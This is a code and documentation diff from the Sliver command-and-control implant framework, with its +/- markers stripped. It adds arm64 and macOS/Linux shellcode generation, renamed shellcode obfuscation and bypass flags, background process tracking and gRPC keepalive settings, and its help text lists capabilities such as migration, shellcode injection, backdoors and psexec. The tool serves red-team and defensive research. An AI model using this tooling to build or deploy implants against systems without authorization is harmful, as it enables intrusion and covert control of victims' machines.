consts.ProcdumpStr: procdumpHelp,
consts.ElevateStr: elevateHelp,
consts.RunAsStr: runAsHelp,
consts.ImpersonateStr: impersonateHelp,
consts.RevToSelfStr: revToSelfHelp,
consts.ExecuteStr: executeHelp,
consts.ExecuteAssemblyStr: executeAssemblyHelp,
consts.ExecuteShellcodeStr: executeShellcodeHelp,
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.MountStr: mountHelp,
consts.ShikataGaNai: shikataGaNaiHelp,
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
consts.MsfStr: msfHelp,
consts.MsfInjectStr: msfInjectHelp,
consts.PsStr: psHelp,
consts.PingStr: pingHelp,
consts.KillStr: killHelp,
consts.LsStr: lsHelp,
consts.CdStr: cdHelp,
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.EditStr: editHelp,
consts.HexEditStr: hexEditHelp,
consts.DownloadStr: downloadHelp,
consts.GrepStr: grepHelp,
consts.HeadStr: headHelp,
consts.TailStr: tailHelp,
consts.UploadStr: uploadHelp,
consts.MkdirStr: mkdirHelp,
consts.RmStr: rmHelp,
consts.ChtimesStr: chtimesHelp,
consts.ProcdumpStr: procdumpHelp,
consts.ElevateStr: elevateHelp,
consts.RunAsStr: runAsHelp,
consts.ImpersonateStr: impersonateHelp,
consts.RevToSelfStr: revToSelfHelp,
consts.ExecuteStr: executeHelp,
consts.ExecuteStr + sep + consts.ExecuteChildrenStr: executeChildrenHelp,
consts.ExecuteAssemblyStr: executeAssemblyHelp,
consts.ExecuteShellcodeStr: executeShellcodeHelp,
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.MountStr: mountHelp,
consts.ShikataGaNai: shikataGaNaiHelp,
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
@@ -135,6 +136,7 @@ var (
[[.Bold]]About:[[.Normal]] Execute a program on the remote system with optional arguments, note the subprocess
arguments are be separated from the sliver 'execute' arguments with '--'
Use [[.Bold]]--background[[.Normal]] to start the process without waiting for output (use [[.Bold]]--stdout[[.Normal]]/[[.Bold]]--stderr[[.Normal]] to redirect).
[[.Bold]]Example:[[.Normal]]
execute /bin/bash --env FOO=1 -- -c env
@@ -145,6 +147,11 @@ FOO=1
PWD=/Users/moloch/git/sliver
SHLVL=1
_=/usr/bin/env
`
executeChildrenHelp = `[[.Bold]]Command:[[.Normal]] execute children
[[.Bold]]About:[[.Normal]] List tracked background child processes started with [[.Bold]]execute --background[[.Normal]].
`
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -182,8 +189,8 @@ You can also stack the C2 configuration with multiple protocols:
[[.Bold]][[.Underline]]++ Formats ++[[.Normal]]
Supported output formats are Windows PE, Windows DLL, Windows Shellcode, Mach-O, and ELF. The output format is controlled
with the --os and --format flags.
Supported output formats include Windows PE, Windows DLL, Windows shellcode, macOS Mach-O, macOS shellcode (arm64),
Linux ELF, and Linux shellcode (amd64/arm64). The output format is controlled with the --os and --format flags.
To output a 64bit Windows PE file (defaults to WinPE/64bit), either of the following command would be used:
generate --mtls foo.example.com
@@ -199,16 +206,19 @@ To output a Linux ELF executable file, the following command would be used:
generate --os linux --mtls foo.example.com
[[.Bold]][[.Underline]]++ Donut Shellcode Options ++[[.Normal]]
When generating Windows shellcode (--format shellcode), you can tune Donut:
--donut-entropy 1|2|3 # Entropy: 1=none (default), 2=random names, 3=random+encrypt
--donut-compress 0|1 # Compression: 0=off (default), 1=aplib
--donut-exitopt 1|2|3 # Exit behavior: 1=exit thread (default), 2=exit process, 3=block
--donut-bypass 1|2|3 # Bypass: 1=none, 2=abort on failure, 3=continue (default)
--donut-headers 1|2 # PE headers: 1=overwrite (default), 2=keep
--donut-thread 0|1 # Unmanaged EXE: run entrypoint as a new thread (default 0)
--donut-unicode 0|1 # Unmanaged DLL: pass Unicode command line (default 0)
--donut-oep <uint32> # Override original entry point (0=default)
[[.Bold]][[.Underline]]++ Shellcode Options ++[[.Normal]]
When generating shellcode (--format shellcode), you can tune the shellcode generator:
--shellcode-encoder <name|none> # Apply a shellcode encoder (see: shellcode-encoders)
--shellcode-compress # Enable aPLib compression (windows, macOS, and Linux)
--shellcode-entropy 1|2|3 # (windows only) Entropy: 1=none (default), 2=random names, 3=random+encrypt
--shellcode-exitopt 1|2|3 # (windows only) Exit behavior: 1=exit thread (default), 2=exit process, 3=block
--shellcode-bypass 1|2|3 # (windows only) Bypass: 1=none, 2=abort on failure, 3=continue (default)
--shellcode-headers 1|2 # (windows only) PE headers: 1=overwrite (default), 2=keep
--shellcode-thread # (windows only) Unmanaged EXE: run entrypoint as a new thread
--shellcode-unicode # (windows only) Unmanaged DLL: pass Unicode command line
--shellcode-oep <uint32> # (windows only) Override original entry point (0=default)
Note: macOS and Linux shellcode currently only support --shellcode-compress; other options are Windows-only.
[[.Bold]][[.Underline]]++ DNS Canaries ++[[.Normal]]
-1
View File
@@ -82,7 +82,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("no-canaries", "c", false, "disable dns canary detection")
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
f.BoolP("disable-otp", "D", false, "disable otp authentication")
})
// HTTP
+4 -6
View File
@@ -40,15 +40,13 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string
lhost, _ := cmd.Flags().GetString("lhost")
lport, _ := cmd.Flags().GetUint32("lport")
canaries, _ := cmd.Flags().GetBool("no-canaries")
enforceOTP, _ := cmd.Flags().GetBool("disable-otp")
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
Domains: domains,
Host: lhost,
Port: lport,
Canaries: !canaries,
EnforceOTP: !enforceOTP,
Domains: domains,
Host: lhost,
Port: lport,
Canaries: !canaries,
})
con.Println()
if err != nil {
@@ -30,6 +30,8 @@ func normalizeShellcodeArch(arch string) string {
return "amd64"
case "386", "x86", "i386":
return "386"
case "arm64", "aarch64":
return "arm64"
default:
return normalized
}
+13 -3
View File
@@ -285,11 +285,12 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
}
f := pflag.NewFlagSet(constants.ExecuteStr, pflag.ContinueOnError)
f.BoolP("output", "o", true, "capture command output")
f.BoolP("output", "o", execReq.Output, "capture command output")
f.Bool("background", execReq.Background, "start the process in the background and track it")
f.BoolP("loot", "X", false, "save output as loot")
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
f.StringP("stdout", "O", execReq.Stdout, "remote path to redirect STDOUT to")
f.StringP("stderr", "E", execReq.Stderr, "remote path to redirect STDERR to")
execCmd := &cobra.Command{Use: constants.ExecuteStr}
execCmd.Flags().AddFlagSet(f)
@@ -297,6 +298,15 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
exec.PrintExecute(execResult, execCmd, con)
case sliverpb.MsgExecuteChildrenReq:
execChildren := &sliverpb.ExecuteChildren{}
err := proto.Unmarshal(task.Response, execChildren)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
exec.PrintExecuteChildren(execChildren, con)
case sliverpb.MsgSideloadReq:
sideload := &sliverpb.Sideload{}
err := proto.Unmarshal(task.Response, sideload)
+3 -2
View File
@@ -208,8 +208,9 @@ const (
GetGIDStr = "getgid"
WhoamiStr = "whoami"
ShellStr = "shell"
ExecuteStr = "execute"
ShellStr = "shell"
ExecuteStr = "execute"
ExecuteChildrenStr = "children"
LsStr = "ls"
MvStr = "mv"
+2 -1
View File
@@ -40,7 +40,8 @@ func ArmoryInstallForm(options []ArmoryInstallOption) (*ArmoryInstallFormResult,
Title("Select packages or bundles to install").
Description("Use space to select and enter to install.").
Options(selectOptions...).
Height(listHeight(len(selectOptions))).
// huh.MultiSelect Height includes title/description, so add 2 lines for them.
Height(listHeight(len(selectOptions)) + 2).
Value(&result.SelectedNames)
form := huh.NewForm(huh.NewGroup(field))
+2 -1
View File
@@ -39,7 +39,8 @@ func ArmoryUpdateForm(options []ArmoryUpdateOption) (*ArmoryUpdateFormResult, er
Title("Select updates to apply").
Description("Use space to select and enter to apply.").
Options(selectOptions...).
Height(listHeight(len(selectOptions))).
// huh.MultiSelect Height includes title/description, so add 2 lines for them.
Height(listHeight(len(selectOptions)) + 2).
Value(&result.SelectedIDs)
form := huh.NewForm(huh.NewGroup(field))
+3
View File
@@ -60,6 +60,7 @@ func GenerateProfilesNewForm() (*GenerateProfilesNewFormResult, error) {
case "linux":
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("arm64", "arm64"),
huh.NewOption("386", "386"),
}
default:
@@ -83,6 +84,8 @@ func GenerateProfilesNewForm() (*GenerateProfilesNewFormResult, error) {
huh.NewOption("Service", "service"),
huh.NewOption("Shellcode", "shellcode"),
)
} else if result.OS == "darwin" || result.OS == "linux" {
options = append(options, huh.NewOption("Shellcode", "shellcode"))
}
return options
}, &result.OS).
@@ -65,6 +65,7 @@ func GenerateProfilesNewBeaconForm() (*GenerateProfilesNewBeaconFormResult, erro
case "linux":
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("arm64", "arm64"),
huh.NewOption("386", "386"),
}
default:
@@ -88,6 +89,8 @@ func GenerateProfilesNewBeaconForm() (*GenerateProfilesNewBeaconFormResult, erro
huh.NewOption("Service", "service"),
huh.NewOption("Shellcode", "shellcode"),
)
} else if result.OS == "darwin" || result.OS == "linux" {
options = append(options, huh.NewOption("Shellcode", "shellcode"))
}
return options
}, &result.OS).
+5
View File
@@ -44,6 +44,7 @@ func commonArchOptions(goos string) []huh.Option[string] {
case "linux":
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("arm64", "arm64"),
huh.NewOption("386", "386"),
}
default:
@@ -64,6 +65,10 @@ func commonFormatOptions(goos string) []huh.Option[string] {
huh.NewOption("Service", "service"),
huh.NewOption("Shellcode", "shellcode"),
)
} else if goos == "darwin" {
options = append(options, huh.NewOption("Shellcode", "shellcode"))
} else if goos == "linux" {
options = append(options, huh.NewOption("Shellcode", "shellcode"))
}
return options
}
+8 -7
View File
@@ -2,13 +2,14 @@ package forms
import (
"errors"
"slices"
"strings"
"github.com/charmbracelet/huh"
"golang.org/x/term"
)
const defaultSelectHeight = 10
const defaultSelectHeight = 5
func getTerminalWidth() int {
// Try to get actual terminal width
@@ -93,7 +94,8 @@ func MultiSelect(title string, options []string, value *[]string) error {
field := huh.NewMultiSelect[string]().
Title(title).
Options(makeStringOptions(options)...).
Height(listHeight(len(options))).
// huh.Select/MultiSelect Height includes title/description, so add 1 for the title line.
Height(listHeight(len(options)) + 1).
Value(value)
form := huh.NewForm(huh.NewGroup(field)).WithWidth(getTerminalWidth())
@@ -115,7 +117,8 @@ func selectPrompt(title string, options []string, value *string, required bool)
field := huh.NewSelect[string]().
Title(title).
Options(makeStringOptions(options)...).
Height(listHeight(len(options))).
// huh.Select Height includes title/description, so add 1 for the title line.
Height(listHeight(len(options)) + 1).
Value(value)
if required {
@@ -147,10 +150,8 @@ func ensureSelectedValue(options []string, value *string) {
*value = options[0]
return
}
for _, option := range options {
if option == *value {
return
}
if slices.Contains(options, *value) {
return
}
*value = options[0]
}
+18 -17
View File
@@ -1,5 +1,23 @@
package packages
/*
Sliver Implant Framework
Copyright (C) 2024 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"fmt"
@@ -10,23 +28,6 @@ import (
"github.com/jedib0t/go-pretty/v6/table"
)
/*
Sliver Implant Framework
Copyright (C) 2024 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
const (
KeyValueSchemaName = "key-value"
GroupedKeyValueSchemaName = "grouped-key-value"
+30
View File
@@ -0,0 +1,30 @@
package transport
import (
"sync"
"google.golang.org/grpc/keepalive"
)
var (
kaMu sync.RWMutex
kaParams *keepalive.ClientParameters
)
// SetKeepaliveParams configures gRPC keepalive pings for future MTLSConnect dials.
// Behavior is unchanged unless this is called.
func SetKeepaliveParams(p keepalive.ClientParameters) {
kaMu.Lock()
kaParams = &p
kaMu.Unlock()
}
func getKeepaliveParams() (keepalive.ClientParameters, bool) {
kaMu.RLock()
p := kaParams
kaMu.RUnlock()
if p == nil {
return keepalive.ClientParameters{}, false
}
return *p, true
}
+28 -6
View File
@@ -28,6 +28,7 @@ import (
"time"
"google.golang.org/grpc"
"google.golang.org/grpc/connectivity"
"google.golang.org/grpc/credentials"
"github.com/bishopfox/sliver/client/assets"
@@ -71,15 +72,36 @@ func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.Clie
options := []grpc.DialOption{
grpc.WithTransportCredentials(transportCreds),
grpc.WithPerRPCCredentials(callCreds),
grpc.WithBlock(),
grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)),
}
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
defer cancel()
connection, err := grpc.DialContext(ctx, fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
if kp, ok := getKeepaliveParams(); ok {
options = append(options, grpc.WithKeepaliveParams(kp))
}
connection, err := grpc.NewClient(fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
if err != nil {
return nil, nil, err
}
// Preserve the legacy grpc.DialContext + grpc.WithBlock behavior: block
// until the channel becomes READY or the timeout expires.
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
defer cancel()
for {
state := connection.GetState()
if state == connectivity.Idle {
connection.Connect()
}
if state == connectivity.Ready {
break
}
if !connection.WaitForStateChange(ctx, state) {
_ = connection.Close()
return nil, nil, ctx.Err()
}
}
return rpcpb.NewSliverRPCClient(connection), connection, nil
}
@@ -120,7 +142,7 @@ func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
cert, err := x509.ParseCertificate(rawCerts[0]) // We should only get one cert
if err != nil {
log.Printf("Failed to parse certificate: " + err.Error())
log.Printf("Failed to parse certificate: %v", err)
return err
}
@@ -134,7 +156,7 @@ func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
panic("no root certificate")
}
if _, err := cert.Verify(options); err != nil {
log.Printf("Failed to verify certificate: " + err.Error())
log.Printf("Failed to verify certificate: %v", err)
return err
}
@@ -15,6 +15,12 @@ The Sliver server has a configuration file located in the `configs` sub-director
"level": 4,
"grpc_unary_payloads": false,
"grpc_stream_payloads": false
},
"grpc": {
"keepalive": {
"min_time_seconds": 30,
"permit_without_stream": true
}
}
}
```
@@ -29,6 +35,10 @@ The Sliver server has a configuration file located in the `configs` sub-director
- `level` - The `logrus` logging level (1 - 5), by default this is set to `4`, which is the `INFO` level; increasing this value increases the verbosity of the logs e.g. `DEBUG` is `5` and `SILENT` is `1`
- `grpc_unary_payloads` - Log gRPC unary payloads
- `grpc_stream_payloads` - Log gRPC streaming payloads
- `grpc` - An object containing options for the server gRPC stack
- `keepalive` - gRPC keepalive enforcement configuration
- `min_time_seconds` - Minimum amount of time (in seconds) between client pings before the server sends a GOAWAY with `too_many_pings`
- `permit_without_stream` - Allow client pings when there are no active streams
## Database Configuration
@@ -1,4 +1,4 @@
**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box; you only need cross-compilers when using `--format shared`.
**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box; you primarily need cross-compilers when using CGO-based formats like `--format shared`, and for `--format shellcode` on macOS/Linux.
Sliver can tell you which platforms it can likely target based on the server's platform and available cross-compilers by running the `generate info` command in the console.
@@ -37,7 +37,7 @@ Sliver automatically looks in the default paths for these cross-compilers; once
## From MacOS to Linux/Windows
Sliver embeds a Zig cross-compiler out of the box, so Windows DLLs and Linux shared objects do not require mingw-w64 or musl-cross.
Sliver embeds a Zig cross-compiler out of the box, so Windows DLLs and Linux shared objects/shellcode do not require mingw-w64 or musl-cross.
However, we're not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross-compilers; once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross-compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
@@ -19,6 +19,12 @@ $ cat ~/.sliver/configs/server.json
"level": 5,
"grpc_unary_payloads": false,
"grpc_stream_payloads": false
},
"grpc": {
"keepalive": {
"min_time_seconds": 30,
"permit_without_stream": true
}
}
}
```
@@ -47,6 +47,7 @@ sliver > builders
=============================== ========== =========== ============== ==========================
molochs-MacBook-Pro-111.local moloch sliver darwin/arm64 EXECUTABLE:linux/386
EXECUTABLE:linux/amd64
EXECUTABLE:linux/arm64
EXECUTABLE:windows/386
EXECUTABLE:windows/amd64
EXECUTABLE:darwin/amd64
@@ -56,10 +57,14 @@ sliver > builders
SHARED_LIB:darwin/amd64
SHARED_LIB:darwin/arm64
SHARED_LIB:linux/amd64
SHARED_LIB:linux/arm64
SERVICE:windows/386
SERVICE:windows/amd64
SHELLCODE:windows/386
SHELLCODE:windows/amd64
SHELLCODE:darwin/arm64
SHELLCODE:linux/amd64
SHELLCODE:linux/arm64
```
Use the `--external-builder` flag to offload a `generate` or `generate beacon` command onto an external builder:
+23 -11
View File
@@ -1,4 +1,4 @@
**⚠️ Important:** You must have MinGW installed on your Sliver server to get some staged (e.g., Windows DLLs) payloads to work.
**⚠️ Important:** Some staged payloads require a working cross-compiler toolchain on the Sliver server (especially shared libraries and non-native targets). Sliver bundles a Zig toolchain for many Windows/Linux targets, but macOS shared library/shellcode builds require osxcross.
## Overview
@@ -33,21 +33,33 @@ Name Platform Command & Control Debug Format
win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled
```
You can tune Donut options for Windows shellcode profiles:
Shellcode generation varies by platform:
- `--donut-entropy`: 1=none, 2=random names, 3=random+encrypt
- `--donut-compress`: enable/disable aplib compression (boolean)
- `--donut-exitopt`: 1=exit thread, 2=exit process, 3=block
- `--donut-bypass`: 1=none, 2=abort on failure, 3=continue
- `--donut-headers`: 1=overwrite, 2=keep
- `--donut-thread`: run unmanaged EXE entrypoint as a new thread (boolean)
- `--donut-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean)
- `--donut-oep`: override original entry point (uint32, 0=default)
- Windows shellcode uses Donut and supports all shellcode tuning flags below.
- macOS (darwin/arm64) and Linux (amd64/arm64) shellcode currently only support `--shellcode-compress`; other `--shellcode-*` options are Windows-only.
Shellcode options:
- `--shellcode-encoder`: apply an optional shellcode encoder (see: `shellcode-encoders`)
- `--shellcode-compress`: enable/disable aPLib compression (boolean) (Windows, macOS, Linux)
- `--shellcode-entropy`: 1=none, 2=random names, 3=random+encrypt (Windows only)
- `--shellcode-exitopt`: 1=exit thread, 2=exit process, 3=block (Windows only)
- `--shellcode-bypass`: 1=none, 2=abort on failure, 3=continue (Windows only)
- `--shellcode-headers`: 1=overwrite, 2=keep (Windows only)
- `--shellcode-thread`: run unmanaged EXE entrypoint as a new thread (boolean) (Windows only)
- `--shellcode-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean) (Windows only)
- `--shellcode-oep`: override original entry point (uint32, 0=default) (Windows only)
Example:
```
sliver > profiles new --mtls 192.168.122.1 --format shellcode --donut-entropy 2 --donut-compress --donut-exitopt 3 win-shellcode
sliver > profiles new --mtls 192.168.122.1 --format shellcode --shellcode-entropy 2 --shellcode-compress --shellcode-exitopt 3 win-shellcode
```
Linux example (compression only):
```
sliver > profiles new --os linux --arch amd64 --mtls 192.168.122.1 --format shellcode --shellcode-compress linux-shellcode
```
We can now create a staging listener and link it to the profile:
@@ -138,7 +138,7 @@
[14.179375, "o", "\u001b[214D\u001b[24C\u001b[0J\u001b[214D\r\r\n"]
[14.182566, "o", "\u001b[0 q\r\n"]
[14.190363, "o", "\u001b[1mCommand:\u001b[0m new <options> <profile name>\r\n\u001b[1mAbout:\u001b[0m Create a new profile with a given name and options, a name is required.\r\n\r\n\u001b[1m\u001b[4m++ Profiles ++\u001b[0m\r\nProfiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same\r\nsettings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with \"profiles generate\":\r\n\tprofiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name\r\n\tprofiles generate my-profile-name\r\n\r\n"]
[14.198714, "o", "Usage:\r\n profiles new [flags]\r\n profiles new [command]\r\n\r\nAvailable Commands:\r\n beacon Create a new implant profile (beacon)\r\n\r\nFlags:\r\n -a, --arch string cpu architecture (default \"amd64\")\r\n -C, --c2profile string HTTP C2 profile to use (default \"default\")\r\n -c, --canary string canary domain(s)\r\n -d, --debug enable debug features\r\n -O, --debug-file string path to debug output\r\n -G, --disable-sgn disable shikata ga nai shellcode encoder\r\n -n, --dns string dns connection strings\r\n -e, --evasion enable evasion features (e.g. overwrite user space hooks)\r\n -E, --external-builder use an external builder\r\n -f, --format psexec Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: psexec for more info) and 'shellcode' (windows only) (default \"exe\")\r\n -h, --help help for new\r\n -b, --http string "]
[14.198714, "o", "Usage:\r\n profiles new [flags]\r\n profiles new [command]\r\n\r\nAvailable Commands:\r\n beacon Create a new implant profile (beacon)\r\n\r\nFlags:\r\n -a, --arch string cpu architecture (default \"amd64\")\r\n -C, --c2profile string HTTP C2 profile to use (default \"default\")\r\n -c, --canary string canary domain(s)\r\n -d, --debug enable debug features\r\n -O, --debug-file string path to debug output\r\n --shellcode-encoder string shellcode encoder to apply (optional; see shellcode-encoders)\r\n -n, --dns string dns connection strings\r\n -e, --evasion enable evasion features (e.g. overwrite user space hooks)\r\n -E, --external-builder use an external builder\r\n -f, --format psexec Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: psexec for more info) and 'shellcode' (windows only) (default \"exe\")\r\n -h, --help help for new\r\n -b, --http string "]
[14.200627, "o", " http(s) connection strings\r\n -X, --key-exchange uint32 wg key-exchange port (default 1337)\r\n -w, --limit-datetime string limit execution to before datetime\r\n -x, --limit-domainjoined limit execution to domain joined machines\r\n -F, --limit-fileexists string limit execution to hosts with this file in the filesystem\r\n -z, --limit-hostname string limit execution to specified hostname\r\n -L, --limit-locale string limit execution to hosts that match this locale\r\n -y, --limit-username string limit execution to specified username\r\n -k, --max-errors uint32 max number of connection errors (default 1000)\r\n -m, --mtls string mtls connection strings\r\n -N, --name string agent name\r\n -p, --named-pipe string named-pipe connection strings\r\n -q, --netgo force the use of netgo\r\n -o, --os string operating system (default \"windows\")\r\n -P, --poll-timeout int long poll request timeout (d"]
[14.201749, "o", "efault 360)\r\n -j, --reconnect int attempt to reconnect every n second(s) (default 60)\r\n -R, --run-at-load run the implant entrypoint from DllMain/Constructor (shared library only)\r\n -s, --save string directory/file to the binary to\r\n -l, --skip-symbols skip symbol obfuscation\r\n -Z, --strategy string specify a connection strategy (r = random, rd = random domain, s = sequential)\r\n -T, --tcp-comms uint32 wg c2 comms port (default 8888)\r\n -i, --tcp-pivot string tcp-pivot connection strings\r\n -I, --template string implant code template (default \"sliver\")\r\n -A, --traffic-encoders string comma separated list of traffic encoders to enable\r\n -g, --wg string wg connection strings\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\nUse \" profiles new [command] --help\" for more information about a command.\r\n\r\n"]
[14.21267, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
@@ -623,7 +623,7 @@
[44.607989, "o", "\u001b[214D\u001b[27C\u001b[0J\u001b[214D\r\r\n"]
[44.608789, "o", "\u001b[0 q\r\n"]
[44.626856, "o", "Error: accepts 1 arg(s), received 0\r\n"]
[44.629236, "o", "Usage:\r\n profiles generate [flags]\r\n\r\nFlags:\r\n -G, --disable-sgn disable shikata ga nai shellcode encoder\r\n -h, --help help for generate\r\n -s, --save string directory/file to the binary to\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\n"]
[44.629236, "o", "Usage:\r\n profiles generate [flags]\r\n\r\nFlags:\r\n --shellcode-encoder string shellcode encoder to apply (optional; see shellcode-encoders)\r\n -h, --help help for generate\r\n -s, --save string directory/file to the binary to\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\n"]
[44.630687, "o", "\r\n"]
[44.6392, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[44.639589, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
+17
View File
@@ -161,6 +161,14 @@ else
exit 1
fi
# server / encoders / shellcode / arm64
if go test -tags=server,$TAGS ./server/encoders/shellcode/arm64 ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / gogo / goname
if go test -tags=server,$TAGS ./server/gogo/goname ; then
:
@@ -194,6 +202,15 @@ else
rm -rf "$SLIVER_ROOT_DIR_E2E"
exit 1
fi
# server / c2 / e2e (dns)
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'TestDNS_' -count=1 ; then
:
else
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
rm -rf "$SLIVER_ROOT_DIR_E2E"
exit 1
fi
rm -rf "$SLIVER_ROOT_DIR_E2E"
# server / configs
+4 -2
View File
@@ -30,7 +30,7 @@ require (
github.com/google/uuid v1.6.0
github.com/gorilla/mux v1.8.1
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
github.com/hashicorp/yamux v0.1.2
github.com/hashicorp/yamux v0.1.2
github.com/jedib0t/go-pretty/v6 v6.7.8
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018
github.com/klauspost/compress v1.18.1
@@ -47,6 +47,8 @@ require (
github.com/reeflective/readline v1.1.4
github.com/rsteube/carapace v0.50.2
github.com/sirupsen/logrus v1.9.3
github.com/sliverarmory/beignet v0.0.2
github.com/sliverarmory/malasada v0.0.2
github.com/sliverarmory/wasm-donut v0.0.3
github.com/spf13/cobra v1.10.2
github.com/spf13/pflag v1.0.10
@@ -275,7 +277,7 @@ require (
github.com/mdlayher/socket v0.5.1 // indirect
github.com/mitchellh/go-ps v1.0.0 // indirect
github.com/mitchellh/hashstructure/v2 v2.0.2 // indirect
github.com/moloch--/go-keystone v0.0.2 // indirect
github.com/moloch--/go-keystone v0.0.2
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 // indirect
github.com/muesli/cancelreader v0.2.2 // indirect
github.com/muesli/termenv v0.16.0 // indirect
+6 -4
View File
@@ -423,6 +423,8 @@ github.com/h2non/parth v0.0.0-20190131123155-b4df798d6542/go.mod h1:Ow0tF8D4Kplb
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8=
github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/yamux v0.1.2 h1:XtB8kyFOyHXYVFnwT5C3+Bdo8gArse7j2AQ0DA0Uey8=
github.com/hashicorp/yamux v0.1.2/go.mod h1:C+zze2n6e/7wshOZep2A70/aQU6QBRWJO/G6FT1wIns=
github.com/hdevalence/ed25519consensus v0.2.0 h1:37ICyZqdyj0lAZ8P4D1d1id3HqbbG1N3iBb1Tb4rdcU=
github.com/hdevalence/ed25519consensus v0.2.0/go.mod h1:w3BHWjwJbFU29IRHL1Iqkw3sus+7FctEyM4RqDxYNzo=
github.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUqJM=
@@ -661,8 +663,10 @@ github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
